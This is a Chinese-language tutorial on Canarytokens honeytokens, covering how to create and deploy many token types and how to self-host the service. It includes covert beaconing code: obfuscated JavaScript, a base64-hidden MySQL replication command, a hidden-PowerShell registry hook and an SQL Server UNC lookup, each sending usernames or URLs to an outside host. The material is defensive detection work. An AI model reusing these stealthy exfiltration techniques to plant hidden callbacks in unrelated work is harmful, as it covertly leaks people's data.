Canarytokens 小型蜜罐之金丝雀令牌

Canarytokens 小型蜜罐之金丝雀令牌

目录导航

Canarytokens是什么?

Canarytokens 是我们采用的令牌,用于在有人查看不该查看的内容时提醒您。它允许您将链接(HTTP 或 DNS)嵌入到几乎任何触摸时会解析或 GET 请求 url 的内容中。它可以让你检测到你的贵重物品周围不必要的窥探(从技术上讲)。

它们的工作方式是在页面的图像标记中嵌入一个唯一的 URL,并监控传入的 GET 请求,如果有人打开了文档或者网址,就会触发,这个时候你就知道鱼上钩了,或者坏人进来了.

想象一下可以这样做:对于文件读取、数据库查询、流程执行或日志文件中的模式进行监控。Canarytokens 可以做到这一切以及更多,让您可以在生产系统中植入陷阱,而不是设置单独的蜜罐。

为什么要使用它们

网络入侵时有发生。从大型企业到政府。从毫无戒心的祖母到知名的安全专家。这是(有点)情有可原的。不可原谅的是,几个月或几年后人们才发现它。

Canarytokens 是一种免费、快速、无痛的方式来帮助防御者发现他们已经被入侵(通过让攻击者自己露馅。)

Canarytokens 是如何工作的(3 个小步骤)

前往canarytokens.org 并选择您的 Canarytoken(提供要接收通知的电子邮件以及提醒您这是哪个 Canarytoken 以及放置位置的备忘录)。

将生成的 Canarytoken 放置在一个特殊的地方(阅读示例以获取有关位置的想法)。

如果攻击者以某种方式在 Canarytoken 上绊倒,您将收到一封电子邮件,通知您它已经发生。

攻击者如何绊到令牌

回想一下,典型的令牌是唯一的 URL 和/或主机名。URL 组件非常灵活。这意味着如果您的令牌类似这样的:

http://45e51129ec7e.o3n.io/images/o63277vnjf6nfobn3cbey69fh/spacer.gif

然后有人访问以下任何一个,仍会激活您的令牌。:

http://45e51129ec7e.o3n.io/images/o63277vnjf6nfobn3cbey69fh/admin.asp
http://45e51129ec7e.o3n.io/images/o63277vnjf6nfobn3cbey69fh/secrets.docx
http://45e51129ec7e.o3n.io/images/o63277vnjf6nfobn3cbey69fh/passwords.zip
http://45e51129ec7e.o3n.io/images/o63277vnjf6nfobn3cbey69fh/anything-really

这为我们提供了令牌的最简单用例,一个老式的网络错误。

例如,您可以给自己发送一封电子邮件,其中包含指向令牌的链接以及一些诱饵文本:

只需将它保留在您的收件箱中未读,因为您知道不要触摸它,因此,如果您的电子邮件被盗,那么阅读它们的攻击者应该会被邮件吸引并访问该链接——虽然您的一周即将变得更糟,但至少您立刻就知道。

如果愿意,您甚至可以使用与嵌入图像相同的标记。这样它就像经典的 1×1 透明 GIF 一样工作。现在,阅读您的收件箱的攻击者可能会因为他的邮件客户端呈现远程图像而被它绊倒。(通过这种方式,您可以将免费的 Canarytokens 用作经典的网络/邮件错误,以便在您发送的电子邮件已被阅读时收到通知。)

我应该使用什么备忘录

随着时间的推移,如果您正确使用 Canarytokens,您将在整个地方部署数千个。确保您的提醒是描述性的,并且是自我描述的。没有什么比让一个令牌发出一个显示为“test”的警报更糟糕的了——而且不知道你把它放在哪里了。

一句话,提醒的标语自己要容易判别,例如:

警告:黑客触发[email protected]中的邮件
警告:黑客打开172.16.17.59服务器桌面的password.xlsx文档!

生产用途

Canarytokens 可以用作简单的网络错误,但正如我们将看到的那样,它们非常灵活。

你可能有一个花哨的 SIEM 可以让你知道什么时候发生了事情,但你会发现只要有点创造力,有很多地方你可以从令牌(可以在几秒钟内部署)中获得胜利,而你不能’否则很容易到达。

您是否相信 DropBox 的管理员/支持人员会不理会您的文件?(或 Office365?或 HipChat?)只需生成一个令牌并将其放入您的文件夹,或在您的 HipChat 频道中提及它。如果某些管理员在业余时间浏览内容(或被第三方强迫这样做),他们将浏览您的 URL 并通知您。

使用示例

在本节中,我们将介绍不同的可用金丝雀令牌。对于它们中的每一个,我们将描述它们的用途,以及您如何创建/部署。

HTTP 令牌

什么是 HTTP 令牌

当您创建基于 HTTP 的 Canarytoken 时,系统会为您提供一个 URL。

任何试图浏览此 URL 的人都会生成警报。

为什么这很重要?一旦您能够获得基于 Web 的令牌或基于 DNS 的令牌的警报,您就拥有了构建大量可能的绊线的构建块。

创建 HTTP 令牌

前往canarytokens.org 并选择Web bug /URL token

输入您的电子邮件地址以及易于理解的提醒,然后单击创建:

复制 URL 并将其放在有用的地方。

例如我放在某个页面中,使用类似这样的代码

<img src="http://canarytokens.com/traffic/about/images/xxx/index.html">

请记住,只要有人请求 URL,它就会被触发,随后给我自动发一封邮件提醒我.

如果请求 URL 作为图像(例如 <img src=””>),则提供 1×1 图像。如果在浏览器中浏览该 URL,则会使用指纹识别 Javascript 提供一个空白页面。

使用思路:

  • 在主题行丰富的电子邮件中。
  • 嵌入文档中。
  • 插入只能通过暴破猜测找到的网页。
  • 此 URL 只是一个示例。除了主机名和实际令牌(随机字符串)之外,您可以更改 URL 的所有其他部分。

DNS令牌

什么是 DNS 令牌

当您创建基于 DNS 的 Canarytoken 时,系统会为您提供一个唯一的 Internet 可解析域名。

任何试图解析此域名的人现在都会触发警报。

为什么这很重要?一旦您能够获得基于 Web 的令牌或基于 DNS 的令牌的警报,您就拥有了构建大量可能的绊线的构建块。

创建 DNS 令牌

前往canarytokens.org 并选择DNS token

输入您的电子邮件地址以及易于理解的提醒,然后单击创建:

请记住,只要有人执行主机名的 DNS 查找,它就会被触发。

警报中显示的源 IP 地址是域名服务器,而不是最终用户。

使用思路:

  • 包含在内部网络的暗 IP 空间的 PTR 条目中。在不配置 DNS 日志记录和监控的情况下确定是否有人在走你的内部 DNS 的快速方法。
  • 在 .bash_history 或 .ssh/config 或 ~/servers.txt 中留下
  • 用作检测和通知操作之间的极其简单的桥梁。有很多可能性,这里有一个跟踪日志文件并在有人登录时触发令牌的可能性:
tail -f /var/log/auth.log | awk '/Accepted publickey for/ { system("host xxx.canarytokens.com") }'
  • 用作电子邮件地址的域部分。

在您的令牌中编码附加信息

您的 DNS 令牌在触发时可以携带少量额外的自定义数据。这可用于使用基于自定义 DNS 的令牌将特定于事件的数据添加到您的警报中。使用以下编码规则将通用数据放入您的 DNS 令牌中:

  • Base32 编码您的数据,并删除任何填充 ‘=’ 字符
  • 在每 63 字节后插入句点 (.)
  • 附加魔术字符串 ‘.G’+<2-random-digits>+’。(例如“.G12.”或“.G83.”)
  • 附加您的 DNS 令牌这将创建一个新的主机名,格式如下:
  <base32-string>.<base32-string>.G<2-random-digits>.<dns-token>

请记住,主机名的总长度仍然不能超过 253 字节,因此可以编码的原始字节数约为 125。

示例代码

这是编码规则的 Python 示例:

>>> token='pz21qtyfsidipvrsuzs9n2udi.canarytokens.com'
>>> data='I am a teapot, hear me pour! Glug, glug, glug.'
>>> import base64, re, random
>>> '.'.join(filter(lambda x: x,re.split(r'(.{63})', base64.b32encode(data.encode('utf8')).decode('utf8').replace('=','')) + ['G'+str(random.randint(10,99)), token]))
'JEQGC3JAMEQHIZLBOBXXILBANBSWC4RANVSSA4DPOVZCCICHNR2WOLBAM5WHKZZ.MEBTWY5LHFY.G72.pz21qtyfsidipvrsuzs9n2udi.canarytokens.com'
读取传输的数据

解码后的数据显示了事件的历史:

网络图像令牌

什么是网络图像令牌

此令牌的工作方式与默认的 HTTP 令牌非常相似,但允许您将令牌绑定到您选择的图像。即上传图像到您的服务器。服务器会将此图像提供给人们,并会在提供时通知您。

创建令牌

通过从下拉列表中选择“Custom Image Web bug”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。

此令牌现在是指向您上传的图片的有效链接。

如何使用此令牌

例如,一个技巧是将此图像嵌入到管理页面中。访问该页面的攻击者也会加载该图像,向您发送该页面已被访问的通知。

奖励 如果您的站点实际上被用于网络钓鱼攻击,您将收到加载“恶意页面”的每个用户的通知 – 这是个好消息,因为它通常有助于有针对性的事件响应。

克隆网站令牌

什么是克隆网站令牌

此 Canarytoken 放置在您网站的 JavaScript 中,如果有人克隆您的网站并将其托管在另一个域上,它会通知您。(这通常用于有针对性的网络钓鱼攻击。)

创建克隆网站令牌

通过从下拉列表中选择“Cloned Website”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。然后,提供您要保护的域(这是部署站点的域,您将在其中插入标记化的 javascript)。

您将获得类似于以下内容的 javascript:

if (document.domain != "ddosi.org") {
    var l = location.href;
    var r = document.referrer;
    var m = new Image();
    m.src = "http://canarytokens.com/"+
            "<TOKEN>.jpg?l="+
            encodeURI(l) + "&amp;r=" + encodeURI(r);
}

复制 javascript(可通过混淆器运行 ) 部署在指定域的网站页面上。

例如使用这个网站的在线js混淆

https://obfuscator.io/

混淆后的js如下所示:

var _0x30e763=_0x2700;(function(_0x2153fe,_0x4ab7a8){var _0x5d9477=_0x2700,_0xfd7ee8=_0x2153fe();while(!![]){try{var _0x1ed095=-parseInt(_0x5d9477(0xa1))/0x1+parseInt(_0x5d9477(0xa8))/0x2*(-parseInt(_0x5d9477(0xb1))/0x3)+parseInt(_0x5d9477(0xa6))/0x4*(-parseInt(_0x5d9477(0xae))/0x5)+-parseInt(_0x5d9477(0xaf))/0x6*(parseInt(_0x5d9477(0xb3))/0x7)+parseInt(_0x5d9477(0xab))/0x8*(-parseInt(_0x5d9477(0xa3))/0x9)+-parseInt(_0x5d9477(0xa5))/0xa*(-parseInt(_0x5d9477(0xb2))/0xb)+parseInt(_0x5d9477(0xad))/0xc*(parseInt(_0x5d9477(0xa7))/0xd);if(_0x1ed095===_0x4ab7a8)break;else _0xfd7ee8['push'](_0xfd7ee8['shift']());}catch(_0x5c7677){_0xfd7ee8['push'](_0xfd7ee8['shift']());}}}(_0x1cb3,0x2e5ca));function _0x2700(_0x2fed33,_0x32e539){var _0x1cb35f=_0x1cb3();return _0x2700=function(_0x27006d,_0xb405ac){_0x27006d=_0x27006d-0xa0;var _0x1dbab4=_0x1cb35f[_0x27006d];return _0x1dbab4;},_0x2700(_0x2fed33,_0x32e539);}function _0x1cb3(){var _0x5e3538=['src','8IhcYsI','href','3768mUyKTU','1075oVqNXV','6OMuYtk','domain','16593FetMNS','19976FczstP','2417443mABzjK','&amp;r=','260138UWhGAf','referrer','3393459VnuEoK','<TOKEN>.jpg?l=','310MzqCgo','3220RmSDoo','56810SwooLs','30YdgJio','http://canarytokens.com/'];_0x1cb3=function(){return _0x5e3538;};return _0x1cb3();}if(document[_0x30e763(0xb0)]!='ddosi.org'){var l=location[_0x30e763(0xac)],r=document[_0x30e763(0xa2)],m=new Image();m[_0x30e763(0xaa)]=_0x30e763(0xa9)+_0x30e763(0xa4)+encodeURI(l)+_0x30e763(0xa0)+encodeURI(r);}

接下来把js插入网站中即可.别人克隆时你就会收到邮件通知.

Adobe PDF 令牌

什么是 Adob​​e PDF 令牌

此 Canarytoken 是一个 PDF 文档,当它被打开时会通知您(由合理兼容的 PDF 阅读器打开)。该令牌通过强制 PDF 阅读器对唯一地址进行 DNS 查找来工作(因此我们可以安全地将解析与文档的打开联系起来)。

注意:DNS 令牌非常适合从严格过滤的网络中获取信标,但缺乏其他一些令牌的粒度。在这种情况下,您最多只能知道文档已打开,并对来源有一个大概的了解。

接下来把pdf文件下载好,不要打开!

每当使用 Acrobat Reader 打开此文档时,无论用户在 Reader 中的安全首选项如何,您都会收到邮件通知。

您可以重命名文档而不影响其操作。

使用思路:

  • 将文件放到 Windows 网络共享上。
  • 将文件保留在 Web 服务器上不可访问的目录中,以检测 Web 服务器漏洞。
  • 附加到带有诱人主题行的电子邮件中。

例如自己重命名为攻击者感兴趣的名称:

MS word令牌

什么是 MS Word 令牌

这是一个 Microsoft Word 文档,只要在 Windows 或 MAC OS 上的 Microsoft Office 中打开它就会提醒您。

这对于放入不应访问的共享很有用。创建一个有趣的文件名(employee_salaries.docx、passwords.docx),将其放在网络共享、Web 服务器、电子邮件中,然后等待警报告诉您有人在四处窥探。

每当在 Microsoft Office、Windows 或 Mac 操作系统中打开此文档时,您都会收到提醒。

您可以重命名文档而不影响其操作。

使用思路:

  • 将文件放到 Windows 网络共享上。
  • 将文件保留在 Web 服务器上不可访问的目录中,以检测 Web 服务器漏洞。
  • 附加到带有诱人主题行的电子邮件。

例如:

下载word后重命名为www.ddosi.org登录密码本.docx

攻击者打开后是这样的:

如果攻击者启用了编辑按钮,则会触发报警,若是老旧的office,可能没有这样的提示,若是较新的版本,我们可以在word中放入一些看不清的东西,让攻击者主动点击编辑按钮.(注意,此时第一封告警邮件是是你自己触发的!)

收到的邮件是这个样子的:

MS Excel 令牌

特别感谢Dominic White (打开新窗口)为了让这一切发生。

什么是 MS Excel 令牌

这是一个 Microsoft Excel 文档,只要在 Windows 或 MAC OS 上的 Microsoft Office 中打开它就会提醒您。

这对于放入不应访问的共享很有用。创建一个有趣的文件名(employee_salaries.xlsx、passwords.xlsx),将其放在网络共享、Web 服务器、电子邮件中,然后等待警报告诉您有人在四处窥探。

参考上面的word,一样的手法!

MySQL 转储令牌

什么是 MySQL 数据库转储令牌

此令牌是一系列 SQL 命令,这些命令在导入或以其他方式在 MySQL 服务器上执行时触发。这些命令可以选择性地混淆或嵌入到带有合成数据的假 SQL 转储文件中。

创建令牌

通过从下拉列表中选择“MySQL Dump”来创建令牌。

输入您的电子邮件地址或 webhook 以向其发送警报并留下合理的评论以提醒您自己将在哪里部署令牌。

您可以将生成的 SQL(编码或未编码)复制到现有的 MySQL 转储文件中,或者下载随机生成的已经嵌入这些命令的文件。

将此令牌文件与其他备份放在某个地方,如果攻击者遇到它并导入它以查看它包含的内容,您将收到警报!

使用方法:

您可以通过两种方式使用此令牌:

1.) 将其插入到您自己的 MySQL 转储中:


SET @b = 'U0VUIEBiYiA9IENPTkNBVCgiQ0hBTkdFIE1BU1RFUiBUTyBNQVNURVJfUEFTU1dPUkQ9J215LXNlY3JldC1wdycsIE1BU1RFUl9SRVRSWV9DT1VOVD0xLCBNQVNURVJfUE9SVD0zMzA2LCBNQVNURVJfSE9TVD0nbWV3ODd5ZWZ3am9qZGdzcy5jYW5hcnl0b2tlbnMuY29tJywgTUFTVEVSX1VTRVI9J21ldzg3eWVmd2pvamRnc3MiLCBAQGxjX3RpbWVfbmFtZXMsIEBAaG9zdG5hbWUsICInOyIpOw==';
SET @s2 = FROM_BASE64(@b);
PREPARE stmt1 FROM @s2;
EXECUTE stmt1;
PREPARE stmt2 FROM @bb;
EXECUTE stmt2;
START REPLICA;


                    

解码出来就是这么个样子的:

2.) 下载一个(伪)随机 MySQL 转储,其中已经嵌入了一个令牌

当 MySQL 语句运行时,您的 Canarytoken 将被触发。

使用思路:

  • 找到 MySQL 转储文件的攻击者通常会将它们扔到临时数据库中以查询数据。当包含此代码段的转储文件被摄取时,它会让我们知道。

Windows 目录令牌

什么是 Windows 目录令牌

当有人浏览到 Windows 服务器或机器上的“令牌”目录时,此令牌允许您收到通知。

创建令牌

通过从下拉列表中选择“Windows Directory Browsing”来创建令牌。

留下合理的评论以提醒您将令牌部署到哪里,然后下载生成的文件。

这为您提供了一个 desktop.ini 文件的下载(在一个 zip 文件中)。只需在您选择的 Windows 机器上创建一个文件夹,然后将 desktop.ini 文件放入其中。如果攻击者浏览该目录,您将收到控制台警报。

(WinZIP 和 WinRAR 都维护目录结构并支持 desktop.ini – 您可以在生成令牌后下载已打包 desktop.ini 的 Zip 文件,如果有人打开(展开)Zip 文件,您会收到通知。)

工作原理

将 desktop.ini 文件放到文件夹中可以让 Explorer 为文件设置自定义图标。由于这个图标可以驻留在远程服务器上(通过 UNC 路径),使用 DNS 我们可以有效地使用令牌作为我们的图标文件。

将此文件解压缩到一个文件夹中,并在有人在 Windows 资源管理器中浏览该文件夹时收到通知。如果有人通过网络共享浏览文件夹,它甚至会触发!

警报将包括浏览用户的网络域和用户名(如果存在)。

使用思路:

  • 将文件解压缩到一个名字很有趣的 Windows 网络共享上。
  • 将 CEO 笔记本电脑上的文件解压缩到他们桌面上的文件夹中。

现在版本的windows貌似不灵了!

自定义 EXE 令牌

什么是自定义 EXE 令牌

此令牌通过使用包含 Canarytoken 的证书对 EXE 或 DLL 进行签名来工作。运行 EXE 或加载 DLL 时,将触发警报。

创建令牌

通过从下拉列表中选择“自定义 exe”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。然后,选择要签名的 EXE 或 DLL。

现在可以下载该文件。请记住,只要执行二进制文件,就会触发此令牌。对于 EXE,这意味着直接执行,对于 DLL,这意味着它们被加载。

标记什么

在选择要标记的文件时,确定攻击者常用的一些二进制文件,并对这些文件进行标记。

使用思路:

  • 确定一些攻击者常用的默认二进制文件,并对它们进行标记。

提示:
某些软件或系统可能不支持

二维码令牌

什么是二维码令牌

此令牌通过将 URL 编码为二维码来工作。当扫描二维码并加载 URL 时,令牌会发送警报。

创建令牌

通过从下拉列表中选择“QR 代码”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。

可以下载 QR 图像并将其放置在任何您喜欢的地方。

在哪里标记

一些使用想法包括:将代码放在安全位置的容器上;在你桌上; 或在跨越国际边界时放在手机电池下方。

提示:
二维码的本质就是一个url,扫描相当于访问.

被扫描后是这样的:

敏感命令令牌

什么是敏感命令令牌

如果意外的 Windows 进程在主机上运行,​​您是否曾经想要快速警报?

这个简单的 Canarytoken 允许您设置一个快速警报,当您想知道任何时候执行特定命令时。

此令牌创建一个注册表项,并近乎实时地向您发送警报,告知您感兴趣的命令已被执行。

创建敏感命令令牌

前往canarytokens.org 并选择Sensitive command token

输入您的电子邮件地址或网络钩子地址以及易于理解的提醒,以及您要提醒的程序的名称。

然后点击创建:

下载 .reg 文件并将其安装在 Windows 10 或 Windows 11 系统上。

一旦安装(具有管理员权限),只要有人(或某人的代码)运行您的敏感进程,您就会收到警报。它将自动提供使用的命令、运行命令的计算机以及调用命令的用户。

注册表中的内容如下:

Windows Registry Editor Version 5.00
; Sensitive command token generated by Thinkst Canary
; Run with admin privs on Windows machine as: reg import FILENAME

; command that will be watched for
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ddosi.org.exe]
"GlobalFlag"=dword:00000200

; magic unique canarytoken that will be fired when this command is executed
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ddosi.org.exe]
"ReportingMode"=dword:00000001
"MonitorProcess"="cmd.exe /c start /min powershell.exe -windowstyle hidden -command \"$($u=$(\\\"u$env:username\\\" -replace('[^\\x00-\\x7f]|\\s', ''))[0..63] -join '';$c=$(\\\"c$env:computername\\\" -replace('[^\\x00-\\x7f]|\\s', ''));Resolve-DnsName -Name \\\"$c.UN.$u.CMD.xxx.canarytokens.com\\\")\""

.reg文件双击安装即可.或者使用命令安装

您可以从管理命令shell执行此操作。

reg import <filepath\filename.reg>

警报将显示执行命令的用户名和主机名。

使用思路:

  • 理想的候选者是攻击者经常使用但普通用户很少使用的可执行文件(例如,frpc.exefscan64.exe、whoami.exe、net.exe、wmic.exe 等)。
  • 您可以将其用于您系统上不存在的攻击者工具(例如,mimikatz.exe),如果它们被下载并运行,您将收到警报!
  • 使用网络管理工具在整个组织中进行部署。

测试示例

攻击者运行frpc.exe,我将会收到邮件通知

SVN令牌

什么是 SVN 令牌

只要有人试图克隆 SVN 存储库,此令牌就会发出警报。

创建令牌

通过从下拉列表中选择“SVN”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。

运行命令来标记您选择的存储库。

svn propset svn:externals "extras http://xxx.canarytokens.com" .

别忘了提交

svn commit

警报中显示的源 IP 地址是域名服务器,而不是最终用户。

使用思路:

  • 标记一个虚拟 SVN 存储库以检测攻击者何时枚举存储库。
  • 标记一个不应再被触及的旧回购协议。

标记什么

一些使用想法包括:标记一个虚拟 SVN 存储库以检测攻击者何时枚举存储库;或不应再触及的旧回购协议。

AWS API 密钥令牌

什么是 AWS API 密钥令牌

此令牌为您提供一组 AWS API 密钥。将它们留在私有代码存储库中,将它们留在开发人员的机器上。偶然发现它们的攻击者会认为它们是您的云基础设施的key。如果它们在任何时候通过 AWS API 使用,您将收到警报。

创建令牌

通过从下拉列表中选择“AWS API 密钥”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。

显示的 AWS 凭证可以复制到名为凭证或密钥的文件中(根据 AWS 自定义)。两个提供的密钥必须保存在一起,以便攻击者使用 AWS API。

下载的文件包含链接到您的 Canarytoken 的 AWS API 凭证。该文件的格式使其看起来像合法的 AWS 凭证文件。

注意:这些警报首先通过 Amazon 的日志记录基础设施,这可能会在警报通过之前引入 2 到 30 分钟的延迟。

使用思路:

  • 这些凭据通常存储在 linux/OSX 系统上名为 ~/.aws/credentials 的文件中。为您的高级开发人员和系统管理员生成一个伪造的凭证对,并将其保存在他们的机器上。如果有人试图使用您为 Bob 生成的对访问 AWS,则 Bob 很可能已经受到威胁。
  • 将凭据放在私有代码存储库中。如果令牌被触发,则意味着有人在未经许可的情况下访问该仓库.

快速重定向令牌

什么是快速重定向令牌

此令牌类似于 HTTP 令牌,但令牌一旦触发就会重定向到自定义地址。常规 HTTP 令牌和快速重定向之间的区别在于此令牌不收集浏览器或浏览器插件信息。对于这样做的重定向,请参阅下一节中的慢速重定向令牌。

创建令牌

通过从下拉列表中选择“快速重定向”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。添加令牌在触发后将重定向到的重定向 URL。然后点击“Create New Canarytoken”来创建token。

该令牌类似于 Web 令牌,但是,当加载链接时,视图将立即重定向到指定的重定向 URL。

当然,同时也会收到邮件报警信息.

使用思路:

  • 在将用户重定向到他们想去的地方之前,用这些替换链接以捕获用户信息。
  • 嵌入文档中。
  • 插入只能通过蛮力找到的金丝雀网页。
  • 此 URL 只是一个示例。除了主机名和实际令牌(随机字符串)之外,您可以更改 URL 的所有其他部分。

慢重定向令牌

什么是慢重定向令牌

此令牌类似于 HTTP 令牌,但令牌一旦触发就会重定向到自定义地址。常规快速重定向令牌与此令牌之间的区别在于,此令牌运行浏览器扫描器来收集浏览器/插件信息(对于新版浏览器未必有效!)

创建令牌

通过从下拉列表中选择“慢速重定向”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。添加令牌在触发后将重定向到的重定向 URL。然后点击“Create New Canarytoken”来创建token

SQL 服务器令牌

什么是 SQL Server 令牌

每当对指定的 SQL Server 表执行 UPDATE/SELECT/DELETE 或 INSERT 时,此标记都会发出警报。

创建令牌

通过从下拉列表中选择“SQL Server”来创建令牌。

留下合理的评论以提醒自己将在何处部署令牌。

下载 SQL 脚本并针对您选择的 SQL Server 数据库运行它。

类似这样的结果


--create a table-view function to query the canary hostname
      CREATE function FUNCTION1(@RAND FLOAT) returns @output table (col1 varchar(max))
      AS
      BEGIN
          declare @username varchar(max), @base64 varchar(max), @tokendomain varchar(128), @unc varchar(128), @size int, @done int, @random varchar(3);

          --setup the variables
          set @tokendomain = 'xxx.canarytokens.com';
          set @size = 128;
          set @done = 0;
          set @random = cast(round(@RAND*100,0) as varchar(2));
          set @random = concat(@random, '.');
          set @username = SUSER_SNAME();

          --loop runs until the UNC path is 128 chars or less
          while @done <= 0
          begin
              --convert username into base64
              select @base64 = (SELECT
                  CAST(N'' AS XML).value(
                        'xs:base64Binary(xs:hexBinary(sql:column("bin")))'
                      , 'VARCHAR(MAX)'
                  )   Base64Encoding
              FROM (
                  SELECT CAST(@username AS VARBINARY(MAX)) AS bin
              ) AS bin_sql_server_temp);

              --replace base64 padding as dns will choke on =
              select @base64 = replace(@base64,'=','0')

              --construct the UNC path
              select @unc = concat('\\',@base64,'.',@random,@tokendomain,'\a')

              -- if too big, trim the username and try again
              if len(@unc) <= @size
                  set @done = 1
              else
                  --trim from the front, to keep the username and lose domain details
                  select @username = substring(@username, 2, len(@username)-1)
          end
          exec master.dbo.xp_dirtree @unc-- WITH RESULT SETS (([result] varchar(max)));
              return
      END

      --create a view that calls the function
      alter view view1 as select * from master.dbo.FUNCTION1(rand());

      --change permissions on FUNCTION1 to SELECT for [public]
      --change permissions on view1 to SELECT for [public]
      --don't allow [public] to view the definitions

                    

注意:由于 DNS 用作底层传输,因此源 IP 将是 DNS 服务器的 IP,而不是数据库服务器的 IP。

使用思路:

  • 部署一个带有诱人 VIEW 名称(例如 USER_DETAILS)的 SELECT 令牌。

WireGuard 令牌

什么是 WireGuard 令牌?

WireGuard Canarytoken 允许您在几秒钟内在您的设备上添加一个“假的”WireGuard VPN 端点。如果您的设备受到威胁,知识渊博的攻击者可能会枚举 VPN 配置并尝试连接到它们。使用 WireGuard Canarytoken,如果发生这种情况,您会收到警报。这在像WireGuard这样可以在视线之外扣押和检查设备的时刻很有用。

创建 WireGuard 令牌

前往canarytokens.org并选择WireGuard VPN Canarytoken:

输入您的电子邮件地址以及有关其安装位置的提示,然后单击“创建”。

然后,您可以使用 WireGuard 应用程序用手机扫描二维码以自动配置 VPN 端点。或者,您可以将 WireGuard 配置复制到任何其他设备,例如安装了 WireGuard 的笔记本电脑或服务器。

官网地址

https://canarytokens.org/

项目地址

github.com/thinkst/canarytokens

常见问题

如果攻击者一开始就屏蔽了canarytokens.org怎么办?

如果这样的话告警就不会被触发,这就需要我们自己搭建一个canarytokens,使用自定义的域名,这样攻击者就不可能提前屏蔽.

如何自己搭建canarytokens?

先决条件

  • 至少一个域名。如果要启用 PDF 打开跟踪,至少需要两个域名。
  • 面向 Internet 的 Docker 主机。您可以在 Linux 主机上快速安装 Docker 。

设置(在 Ubuntu 中)

  • 启动您的 Docker 主机,并记下公共 IP。
  • 配置您的域,使其名称服务器指向 Docker 主机的公共 IP。这需要在您的注册商处进行更改。仅更改区域文件中的 NS 记录是不够的。您将需要指向您的公共 IP 的域的 A 记录。
  • 克隆 Docker 设置:
git clone https://github.com/thinkst/canarytokens-docker
cd canarytokens-docker
  • 安装 Docker compose(如果还没有):
sudo apt-get install python-pip python-dev
sudo pip install -U docker-compose
#如果这时出现PyYAML错误,请安装libyaml开发包。
sudo apt-get install libyaml-dev
  • 我们分发了两个将用于配置的 .env 文件,即 switchboard.env.distfrontend.env.dist。您需要分别将它们复制/重命名为switchboard.env和 frontend.env(这确保您的配置不会在您提取更改时被吹走)。完成后,您可以编辑它们:
  1. CANARY_PUBLIC_IP两种配置中的 设置为用于处理 Canarytoken 触发器的交换机的外部公共 IP 的相同公共 IP。
  2. CANARY_DOMAINS为in设置值frontend.env。这些必须是您拥有的域,因为您需要向每个CANARY_DOMAINS指定的域添加一条 A 记录,将域指向您的 docker 的公共 IP。
  3. [注意:仅当您想使用 PDF 标记时才需要执行此步骤] 设置CANARY_NXDOMAINSin的值frontend.env。这些必须是您拥有的域,因为您需要向每个CANARY_NXDOMAINS指定的域添加一个 NS 记录,将域指向您之前指定的CANARY_DOMAINS.
  4. 取消注释“CANARY_PUBLIC_DOMAIN”switchboard.env并将其设置为为其中定义的域CANARY_DOMAINS之一frontend.env(如果您不取消注释并设置它,将使用公共 IP)。
  5. 接下来决定您要使用哪个电子邮件提供商来发送警报。如果您使用 Mailgun 发送电子邮件,请取消注释并CANARY_MAILGUN_DOMAIN_NAME设置值。如果您改用 Mandrill 或 Sendgrid,请取消注释相应的 API 密钥设置并进行设置。如果为您的 Canarytokens 服务器使用 Mailgun 的欧洲基础设施,您将需要添加到您的.
CANARY_MAILGUN_API_KEYswitchboard.envCANARY_MAILGUN_BASE_URL=https://api.eu.mailgun.netswitchboard.env
  • 6. 生成一个唯一的 WireGuard 密钥种子以CANARY_WG_PRIVATE_KEY_SEED在两者中设置switchboard.env和frontend.env并使用命令:
dd bs=32 count=1 if=/dev/urandom 2>/dev/null | base64

以下是使用以下设置的示例文件:

域 example1.com、example2.com 和 example3.com(PDF)用于通过总机触发 canarytoken

交换机触发器的公共 IP 1.1.1.1

服务于前端的域“my.domain”

Mailgun 域名“xy”和 API 密钥“zzzzzzzzzz”

WireGuard 密钥种子

vk/GD+frlhve/hDTTSUvqpQ/WsQtioKAri0Rt5mg7dw=

前端环境

#这些域被用于一般用途的令牌
CANARY_DOMAINS=example1.com,example2.com

#这些域只用于PDF令牌
CANARY_NXDOMAINS=example3.com

#需要一个Google Cloud API密钥,以便在历史页面上用Maps JavaScript API生成一个事件地图。
#CANARY_GOOGLE_API_KEY=
CANARY_PUBLIC_IP=1.1.1.1
CANARY_WG_PRIVATE_KEY_SEED=vk/GD+frlhve/hDTTSUvqpQ/WsQtioKAri0Rt5mg7dw=
  • switchboard.env(使用 Mailgun 发送电子邮件的示例)
CANARY_MAILGUN_DOMAIN_NAME=x.y
CANARY_MAILGUN_API_KEY=zzzzzzzzzz
#CANARY_MANDRILL_API_KEY=
#CANARY_SENDGRID_API_KEY=
CANARY_PUBLIC_IP=1.1.1.1
CANARY_PUBLIC_DOMAIN=my.domain
[email protected]
CANARY_ALERT_EMAIL_FROM_DISPLAY="Example Canarytokens"
CANARY_ALERT_EMAIL_SUBJECT="Canarytoken"
CANARY_WG_PRIVATE_KEY_SEED=vk/GD+frlhve/hDTTSUvqpQ/WsQtioKAri0Rt5mg7dw=
  • 最后,下载并启动镜像:
$ docker-compose up
  • 前端和交换机现在将在前台运行。前端可在http://example1.com/generate访问。如果你想在后台运行它,你可以使用
$ docker-compose up -d

注意:如果您只拥有一个域,并且想使用 pdf 令牌,则可以将子域用于CANARY_NXDOMAINS. 作为example.com我们的域,您可以设置CANARY_NXDOMAINSnx.example.com. 然后登录到您的 DNS 管理器控制台(您可以在其中编辑您的域 DNS 记录)并添加一个nx.example.com映射到example.com.

持久化数据

令牌保存在 Docker 容器外部的 Redis 数据库文件中。dump.rdbcanarytokens-docker/data目录中查找。

如果您想擦除所有令牌,请删除 dump.rdb。

设置 HTTPS!

我们有一个单独的 docker-compose 文件,它将自动(大部分)让您启动并运行带有 HTTPS 的 Canarytokens 服务器。您将需要执行以下操作:

  • 编辑certbot.env. 您将需要提供您的域和电子邮件地址(这些对于 certbot 的注册过程是必需的)。例如
# 指定一个单一的域名
MY_DOMAIN_NAME=example.com

